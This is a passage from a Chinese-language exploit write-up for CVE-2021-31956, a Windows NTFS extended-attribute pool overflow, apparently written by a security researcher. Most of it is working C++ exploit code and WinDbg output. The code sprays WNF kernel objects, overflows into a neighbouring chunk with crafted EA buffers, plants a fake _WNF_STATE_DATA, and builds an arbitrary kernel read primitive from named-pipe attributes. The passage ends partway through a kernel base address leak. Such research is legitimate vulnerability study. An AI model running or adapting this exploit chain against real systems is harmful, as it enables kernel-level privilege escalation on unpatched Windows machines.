if (!ZwQueryEaFile) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwQueryEaFile : " << err;
return -1;
}

PZwCreateWnfStateName ZwCreateWnfStateName = (PZwCreateWnfStateName)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwCreateWnfStateName");

if (!ZwCreateWnfStateName) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwCreateWnfStateName : " << err;
return -1;
}

PZwUpdateWnfStateData ZwUpdateWnfStateData = (PZwUpdateWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUpdateWnfStateData");

if (!ZwUpdateWnfStateData) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwUpdateWnfStateData : " << err;
return -1;
}

PZwDeleteWnfStateData ZwDeleteWnfStateData = (PZwDeleteWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDeleteWnfStateData");

if (!ZwDeleteWnfStateData) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwDeleteWnfStateData : " << err;
return -1;
}

NTSTATUS status = 0;

const wchar_t* filepath = L"C:\\Users\\Ver\\Desktop\\CVE-2021-31956\\test.txt";

HANDLE fileHandle = CreateFile(filepath,
GENERIC_READ | GENERIC_WRITE | DELETE,
NULL,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (fileHandle == INVALID_HANDLE_VALUE)
{
DWORD err = GetLastError();
std::cerr << "failed to open: " << err;
return err;
}

char setEaBuffer[] = {
0x10,0x01,0x00,0x00, // NextEntryOffset
0x00, // Flags
0x05, // EaNameLength
0x00,0x01, // EaValueLen
0x66,0x66,0x66,0x66,0x66, // name
0x00, // padding
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x00,0x00, // padding

0x00,0x00,0x00,0x00, // NextEntryOffset
0x00, // Flags
0x05, // EaNameLength
0x02,0x00, // EaValueLen
0x67,0x67,0x67,0x67,0x67, // name
0x00, // padding
0x68,0x68, // data
};
IO_STATUS_BLOCK setEaIoStatusBlock = { 0 };

status = ZwSetEaFile(fileHandle, (PIO_STATUS_BLOCK)&setEaIoStatusBlock, &setEaBuffer, sizeof(setEaBuffer));

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwSetEaFile: " << std::hex << status;
return status;
}


const ULONG spraySize = 0x10000;
const ULONG allocSize = 0x100;
char buffer[allocSize] = { 0 };
memset(buffer, 0x61, sizeof(buffer));
WNF_STATE_NAME states[spraySize] = { 0 };

for (int i = 0; i < spraySize; i++) {
WNF_TYPE_ID id;
memset(&id, 0, sizeof(id));
id.TypeId.Data1 = i;

WNF_STATE_NAME state;
memset(&state, 0, sizeof(state));

SECURITY_DESCRIPTOR sd;
memset(&sd, 0, sizeof(sd));

if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
DWORD err = GetLastError();
std::cerr << "failed to InitializeSecurityDescriptor : " << err;
return -1;
}

status = ZwCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeUser, FALSE, &id, 0x1000, &sd);

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwCreateWnfStateName: " << std::hex << status;
return status;
}

status = ZwUpdateWnfStateData(&state, buffer, sizeof(buffer), &id, 0, 0, 0);

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwUpdateWnfStateData: " << std::hex << status;
return status;
}

states[i] = state;
}

status = ZwDeleteWnfStateData(&states[spraySize - 0x20], 0);

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwDeleteWnfStateData: " << std::hex << status;
return status;
}

std::cout << "done!" << std::endl;

char eaListBuffer[] = {
0x0c,0x00,0x00,0x00, // NextEntryOffset
0x05, // EaNameLength
0x66,0x66,0x66,0x66,0x66,0x00, // name
0x00, // padding

0x00,0x00,0x00,0x00, // NextEntryOffset
0x05, // EaNameLength
0x67,0x67,0x67,0x67,0x67,0x00, // name
0x00, // padding
};

IO_STATUS_BLOCK queryEaIoStatusBlock = { 0 };
FILE_FULL_EA_INFORMATION queryEaBuffer = { 0 };
WORD queryEaBufferLength = 0x10e;
printf("final\n");

status = ZwQueryEaFile(fileHandle, (PIO_STATUS_BLOCK)&queryEaIoStatusBlock, &queryEaBuffer, queryEaBufferLength, 0, &eaListBuffer, sizeof(eaListBuffer), 0, 0);
if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwQueryEaFile: " << std::hex << status;
return status;
}

}

使用如下断点:

1
2
bp Ntfs!NtfsQueryEaUserEaList "j @r12d = 0x10e '';'gc'"
bp ntfs!NtfsQueryEaUserEaList + 0x1bd

发现成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0: kd> !pool @r9
Pool page ffff9f08467b0b90 region is Paged pool
ffff9f08467b0040 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0160 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0280 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b03a0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b04c0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b05e0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0700 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0820 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0940 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0a60 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
*ffff9f08467b0b80 size: 120 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffff9f08467b0ca0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0dc0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0
ffff9f08467b0ee0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58e029430c0

同时对比 memcpy 前后,可以发现下一个堆块的 POOL_HEADER 已经被覆盖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0: kd> dc ffff9f08467b0b80+0x120
ffff9f08`467b0ca0 0b120000 20666e57 1a6d370b 19684ad3 ....Wnf .7m..Jh.
ffff9f08`467b0cb0 00100904 00000100 00000100 00000001 ................
ffff9f08`467b0cc0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0cd0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0ce0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0cf0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0d00 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0d10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa

0: kd> p
Ntfs!NtfsQueryEaUserEaList+0x1c2:
fffff805`85688b52 41897d00 mov dword ptr [r13],edi

0: kd> dc ffff9f08467b0b80+0x120
ffff9f08`467b0ca0 00000010 00020500 47474747 68680047 ........GGGGG.hh
ffff9f08`467b0cb0 00100904 00000100 00000100 00000001 ................
ffff9f08`467b0cc0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0cd0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0ce0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0cf0 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0d00 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
ffff9f08`467b0d10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa

接下来修改下一个块的 _WNF_STATE_DATA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
char setEaBuffer[] = {
0x10,0x01,0x00,0x00, // NextEntryOffset
0x00, // Flags
0x05, // EaNameLength
0x00,0x01, // EaValueLen
0x66,0x66,0x66,0x66,0x66, // name
0x00, // padding
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66, // data
0x00,0x00, // padding

0x00,0x00,0x00,0x00, // NextEntryOffset
0x00, // Flags
0x05, // EaNameLength
0x12,0x00, // EaValueLen
0x67,0x67,0x67,0x67,0x67, // name
0x00, // padding
0x68,0x68, // data
0x04,0x09,0x10,0x00,0x20,0x01,0x00,0x00,0x20,0x01,0x00,0x00,0x02,0x00,0x00,0x00 // fake _WNF_STATE_DATA
};

并使用 ZwQueryWnfStateData 来查询 ChangeStamp 是否不同来判别堆块是否有修改。

1
2
3
4
5
6
7
8
9
10
11
extern "C"
NTSTATUS
NTAPI
NtQueryWnfStateData(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID* ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize
);

这样便可以实现一定偏移范围的读,也可以继续使用 NtUpdateWnfStateData 来实现一定偏移范围的写。

任意地址读

接下来就是任意地址读,我们可以参考 Scoop the Windows 10 pool! 文章,使用 PipeAttribute ,其结构如下:

1
2
3
4
5
6
7
typedef struct pipe_attribute {
LIST_ENTRY list;
char* AttributeName;
size_t ValueSize;
char* AttributeValue;
char data[0];
} pipe_attribute_t;

该结构也和 _WNF_STATE_DATA 结构类似,数据在后面,可以任意控制分配大小,我们可以使用以下代码调用它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
NTSTATUS ZwFsControlFile(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG FsControlCode,
_In_opt_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_opt_ PVOID OutputBuffer,
_In_ ULONG OutputBufferLength
);

HANDLE read_pipe;
HANDLE write_pipe;
char attribute[] = "attribute_name\00attribute_value"
char output [0x100];
CreatePipe(read_pipe, write_pipe, NULL, bufsize);
NtFsControlFile(write_pipe,
NULL,
NULL,
NULL,
&status,
0x11003C,
attribute,
sizeof(attribute),
output,
sizeof(output)
);

其主要逻辑位于 npfs.sys 中,其中 SetAttribute 的逻辑位于 NpSetAttribute 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall NpSetAttribute(pipe_attribute *a1, int a2) // FsControlCode是0x11003C,对应的a2就为2
{

buf = (const char *)a1->buf;
bufSize = *(_DWORD *)(v2 + 16);
if ( bufSize )
{
nameSize = 0;
bufPtr = (_BYTE *)a1->buf;
do
{
if ( !*bufPtr )
break;
++nameSize;
++bufPtr;
}
while ( nameSize < bufSize );
if ( nameSize && nameSize != bufSize )
{
nameSizeAddOne = nameSize + 1;
if ( nameSizeAddOne >= bufSize )
{
valueBuf = 0i64;
valueLen = 0i64;
}
else
{
valueBuf = &buf[nameSizeAddOne];
valueLen = bufSize - nameSizeAddOne;
}
...
some strcmp check buf start
...
if ( valueBuf )
{
v19 = NpSetAttributeInList(v16, 0i64, buf, valueBuf, valueLen);
if ( v19 < 0 )
goto LABEL_32;
}
else
{
NpRemoveAttributeFromList(v16, buf);
v19 = 0;
}
}

其通过 \x00 寻找并分割 buf ,同时判断 buf 的开始也就是 name 是不是为指定的一些值,并执行相应的操作。最后调用 NpSetAttributeInList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 __fastcall NpSetAttributeInList(_QWORD *a1, _QWORD *providePtr, _BYTE *buf, const void *valueBuf, size_t valueLen)
{
attributeListHead = (pipe_attribute *)*a1;
...
allocSize = 0x28i64;
if ( (unsigned __int64)buf <= 7 )
{
nameLenAddOne = 0i64;
}
else
{
ptr = 0xFFFFFFFFFFFFFFFFui64;
do
++ptr;
while ( buf[ptr] );
nameLenAddOne = ptr + 1;
if ( nameLenAddOne + 0x28 < 0x28 )
return 0xC0000095i64;
allocSize = nameLenAddOne + 0x28;
}
if ( valueLen <= 8 )
goto LABEL_30;
if ( allocSize + valueLen < allocSize )
return 0xC0000095i64;
allocSize += valueLen;
LABEL_30:
if ( providePtr )
{
poolPtr = providePtr;
}
else
{
poolPtr = ExAllocatePoolWithTag(PagedPool, allocSize, 0x7441704Eu);
if ( !poolPtr )
return 0xC000009Ai64;
}
if ( (unsigned __int64)buf <= 7 )
{
poolPtr->AttributeName = (__int64)buf;
}
else
{
poolPtr->AttributeName = (__int64)&poolPtr->data;
memmove(&poolPtr->data, buf, nameLenAddOne);
}
if ( valueLen <= 8 )
{
attributeValuePtr = &poolPtr->AttributeValue;
}
else
{
attributeValuePtr = (__int64 *)(&poolPtr->data + nameLenAddOne);
poolPtr->AttributeValue = (__int64)attributeValuePtr;
}
memmove(attributeValuePtr, valueBuf, valueLen);
poolPtr->ValueSize = valueLen;
if ( attributeListHead )
{
listFD = (pipe_attribute *)attributeListHead->listFD;
if ( *(pipe_attribute **)(attributeListHead->listFD + 8) != attributeListHead
|| (listBK = (pipe_attribute **)attributeListHead->listBK, *listBK != attributeListHead) )
{
LABEL_47:
__fastfail(3u);
}
*listBK = listFD;
listFD->listBK = (__int64)listBK;
if ( attributeListHead != (pipe_attribute *)providePtr )
ExFreePoolWithTag(attributeListHead, 0);
}
listHeader_0 = (pipe_attribute *)a1[1];
if ( (_QWORD *)listHeader_0->listFD != a1 )
goto LABEL_47;
poolPtr->listBK = (__int64)listHeader_0;
poolPtr->listFD = (__int64)a1;
listHeader_0->listFD = (__int64)poolPtr;
result = 0i64;
a1[1] = poolPtr;
return result;
}

其会判断 namevalue 的大小是否大于 8 ,如果不是则不用分配 data 而是直接放在对应的指针位置,否则放在 data 处。初始化完毕后还会将该块链入 list 中。

最后 alloc 的大小为 0x28 + dataLen(传入的 attribute 的大小)。所以假设我们需要喷一个 0xa0 大小的块,那么我们需要构造的 dataLen = 0xa0 - 0x10 - 0x28 = 0x68 。喷成功的结果如下:

1
2
3
4
5
6
7
8
9
1: kd> dq ffff9f0845964980+0xa0*2
ffff9f08`45964ac0 7441704e`030a0000 19684ad3`1fc8912b
ffff9f08`45964ad0 ffff9f08`45963e50 ffff9f08`45964850
ffff9f08`45964ae0 ffff9f08`45964af8 00000000`0000005e
ffff9f08`45964af0 ffff9f08`45964b02 69686766`69686766
ffff9f08`45964b00 61616161`61610005 61616161`61616161
ffff9f08`45964b10 61616161`61616161 61616161`61616161
ffff9f08`45964b20 61616161`61616161 61616161`61616161
ffff9f08`45964b30 61616161`61616161 61616161`61616161

和我们之前描述的 pipe_attribute 结构一致,这样我们便可以释放溢出块后面的 WNF 块并使用 pipe_attribute 占位回来,泄露出池的地址:

Untitled 1.png

另外,如果我们没有提供 value ,那么默认会走到 NpRemoveAttributeFromList 中去遍历链表删除该 attribute (使用 ExFreePoolWithTag 释放块)并解链。还有 NpGetAttribute ,其也是遍历链表,对比 name 并输出匹配的 value ,函数逻辑比较简单这里就不贴了。

那么我们便可以通过修改 AttributeValue 的指针并通过 NpGetAttribute 来得到一个任意地址读的原语,其中 NpGetAttribute 也是需要 FsControlCode0x110038NtFsControlFile ,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void pipeReadAttribute(PipeHandles pipeHandles, PCHAR nameBuffer, PCHAR output, ULONG size) {
PZwFsControlFile ZwFsControlFile = (PZwFsControlFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwFsControlFile");

if (!ZwFsControlFile) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwFsControlFile : " << err;
exit(-1);
}

IO_STATUS_BLOCK fsControlFileIoStatusBlock = { 0 };

size_t name_length = strlen(nameBuffer) + 1;

NTSTATUS status = ZwFsControlFile(pipeHandles.writePipe,
NULL,
NULL,
NULL,
&fsControlFileIoStatusBlock,
0x110038,
nameBuffer,
name_length,
output,
size
);

if (!NT_SUCCESS(status)) {
std::cerr << "failed to ZwFsControlFile: " << std::hex << status;
exit(-1);
}
}

进而构造任意地址读原语:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void arbRead(UINT64 addr, PWNF_STATE_NAME state,PVOID pQueryBuffer, PipeHandles pipeHandles, PCHAR output, ULONG size) {
char name[PIPENAMELEN] = {
0x66,0x67,0x68,0x69,
0x66,0x67,0x68,0x69,
((PCHAR)pQueryBuffer)[0xc0]
};

((PUINT64) pQueryBuffer)[0xb0 / 0x8] = addr;
updateWnfStateData(state, pQueryBuffer, FAKEWNFSIZE);
pipeReadAttribute(pipeHandles, name, output, size);

#if DEBUG
printBuffer(output, size);
#endif // DEBUG
}

UINT64 arbRead64(UINT64 addr, PWNF_STATE_NAME state, PVOID pQueryBuffer, PipeHandles pipeHandles) {
char output[0x200] = { 0 };
arbRead(addr, state, pQueryBuffer, pipeHandles, output, sizeof(output));
UINT64 result = ((PUINT64)output)[0];
#if DEBUG
std::cout << "[+] arbRead64 " << std::endl;
std::cout << "\t[+] addr : " << std::hex << addr << std::endl;
std::cout << "\t[+] value : " << std::hex << result << std::endl;
#endif // DEBUG
return result;
}

泄露内核地址

有了任意地址读,我们该读哪里呢?平常情况下如果是中等权限的用户可以直接得到内核基址,但是现在我们假设我们是一个低权限用户,我们可以使用一种方法来泄露出内核基址。我们断在 NpSetAttributeInList 处,那么 rcx 如果是一个正常的 pipe_attribute 结构体指针,它就和当前irp 请求的 file_object->FsContext2 中的这个字段存在一定关系,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
0: kd> g
Breakpoint 0 hit
Npfs!NpSetAttributeInList:
fffff805`86a151c0 48895c2408 mov qword ptr [rsp+8],rbx
1: kd> r
rax=000000000000005e rbx=ffff9f0844c4cb70 rcx=ffff9f0844c4cc70
rdx=0000000000000000 rsi=ffffc58e022b8010 rdi=0000000000000002
rip=fffff80586a151c0 rsp=ffffd58efb43e5e8 rbp=ffff9f0844c4cc70
r8=ffffc58e022b8010 r9=ffffc58e022b801a r10=fffff8058342f440
r11=ffffd58efb43e6a8 r12=ffffc58e0281bc60 r13=ffffc58e04e77310
r14=ffff9f0843c88960 r15=ffffc58e022b801a
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
Npfs!NpSetAttributeInList:
fffff805`86a151c0 48895c2408 mov qword ptr [rsp+8],rbx ss:0018:ffffd58e`fb43e5f0=ffff9f0844c4cb70

1: kd> !pool @rcx
Pool page ffff9f0844c4cc70 region is Paged pool
ffff9f0844c4c1c0 size: 1e0 previous size: 0 (Allocated) FMfn
ffff9f0844c4c3a0 size: 1e0 previous size: 0 (Allocated) FMfn
ffff9f0844c4c580 size: 1e0 previous size: 0 (Allocated) FMfn
ffff9f0844c4c760 size: 1e0 previous size: 0 (Allocated) FMfn
ffff9f0844c4c940 size: 1e0 previous size: 0 (Allocated) FMfn
*ffff9f0844c4cb20 size: 1e0 previous size: 0 (Allocated) *NpFc Process: ffffc58e033b84c0
Pooltag NpFc : CCB, client control block, Binary : npfs.sys
ffff9f0844c4cd00 size: 1e0 previous size: 0 (Allocated) FMfn

1: kd> !thread
THREAD ffffc58e01808080 Cid 10dc.05f8 Teb: 000000000021a000 Win32Thread: 0000000000000000 RUNNING on processor 1
IRP List:
ffffc58e0281bc60: (0006,0358) Flags: 00060870 Mdl: 00000000 // IRP指针
Not impersonating
DeviceMap ffff9f083f7d4b10
Owning Process ffffc58e033b84c0 Image: poc.exe
Attached Process N/A Image: N/A
Wait Start TickCount 478578 Ticks: 1 (0:00:00:00.015)
Context Switch Count 244 IdealProcessor: 0
UserTime 00:00:00.343
KernelTime 00:00:00.546
Win32 Start Address 0x0000000000b02344
Stack Init ffffd58efb43ec90 Current ffffd58efb43e550
Base ffffd58efb43f000 Limit ffffd58efb439000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd58e`fb43e5e8 fffff805`86a15161 : ffff9f08`44c4cb70 00000000`00000000 ffff9300`00000001 ffffc58e`022b8010 : Npfs!NpSetAttributeInList
ffffd58e`fb43e5f0 fffff805`86a0cf6a : ffff9f08`43c88960 ffffc58d`ff133060 00000000`0000005e 00000000`00000000 : Npfs!NpSetAttribute+0x231
ffffd58e`fb43e660 fffff805`86a0cb77 : ffffc58e`04e77310 ffffc58d`ff133060 ffffc58e`0281bc60 ffffc58e`0281bd78 : Npfs!NpCommonFileSystemControl+0x3aa
ffffd58e`fb43e6b0 fffff805`83427da9 : ffffc58e`02189050 fffff805`84b145a0 ffffd58e`fb43e7c0 00000000`00000000 : Npfs!NpFsdFileSystemControl+0x27
ffffd58e`fb43e6e0 fffff805`84b155de : 00000000`00000000 ffffd58e`fb43e7c0 ffffc58e`0281bc60 ffffd58e`fb43e7d0 : nt!IofCallDriver+0x59
ffffd58e`fb43e720 fffff805`84b4c190 : ffffd58e`fb43e7c0 00000000`00000000 00000000`00000001 00000000`00000000 : FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x15e
ffffd58e`fb43e7a0 fffff805`83427da9 : ffffc58e`0281bc60 00000000`00000002 00000000`00000001 00000000`00000208 : FLTMGR!FltpFsControl+0x110
ffffd58e`fb43e800 fffff805`83a15dd5 : ffffd58e`fb43eb80 ffffc58e`0281bc60 00000000`00000001 ffffc58e`04e77310 : nt!IofCallDriver+0x59
ffffd58e`fb43e840 fffff805`83a1572a : ffffc58e`0281bc60 ffffd58e`fb43eb80 00000000`0011003c ffffd58e`fb43eb80 : nt!IopSynchronousServiceTail+0x1a5
ffffd58e`fb43e8e0 fffff805`83ab8216 : 00000000`001e0000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x5ca
ffffd58e`fb43ea20 fffff805`835cde95 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0012df98 : nt!NtFsControlFile+0x56
ffffd58e`fb43ea90 00000000`774f1cbc : 00000000`774f18f3 00000023`77571dfc 00007ffb`eaeb0023 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd58e`fb43eb00)
00000000`0012e8e8 00000000`774f18f3 : 00000023`77571dfc 00007ffb`eaeb0023 00000000`00000000 00000000`004ffb00 : 0x774f1cbc
00000000`0012e8f0 00000023`77571dfc : 00007ffb`eaeb0023 00000000`00000000 00000000`004ffb00 00000000`0012e940 : 0x774f18f3
00000000`0012e8f8 00007ffb`eaeb0023 : 00000000`00000000 00000000`004ffb00 00000000`0012e940 00000000`0011003c : 0x00000023`77571dfc
00000000`0012e900 00000000`00000000 : 00000000`004ffb00 00000000`0012e940 00000000`0011003c 00000000`001e0000 : 0x00007ffb`eaeb0023

1: kd> !irp ffffc58e0281bc60 // 查看irp信息
Irp is active with 2 stacks 1 is current (= 0xffffc58e0281bd30)
No Mdl: System buffer=ffffc58e022b8010: Thread ffffc58e01808080: Irp stack trace.
cmd flg cl Device File Completion-Context
>[IRP_MJ_FILE_SYSTEM_CONTROL(d), N/A(0)]
4 e0 ffffc58dff133060 ffffc58e04e77310 fffff80584b130a0-ffffc58e02189050 Success Error Cancel
\FileSystem\Npfs FLTMGR!FltpPassThroughCompletion
Args: 00000200 00000068 0011003c 00000000
[IRP_MJ_FILE_SYSTEM_CONTROL(d), N/A(0)]
4 1 ffffc58dffc08b50 ffffc58e04e77310 00000000-00000000 pending
\FileSystem\FltMgr
Args: 00000200 00000068 0011003c 00000000

1: kd> dt nt!_file_object ffffc58e04e77310 // 查看file_object
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffc58d`ff133060 _DEVICE_OBJECT
+0x010 Vpb : (null)
+0x018 FsContext : 0xffff9f08`43c88960 Void
+0x020 FsContext2 : 0xffff9f08`44c4cb31 Void
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : 0x00000000`00000001 Void
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : 0xffffc58e`01f67d80 _FILE_OBJECT
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0 ''
+0x050 Flags : 0x40082
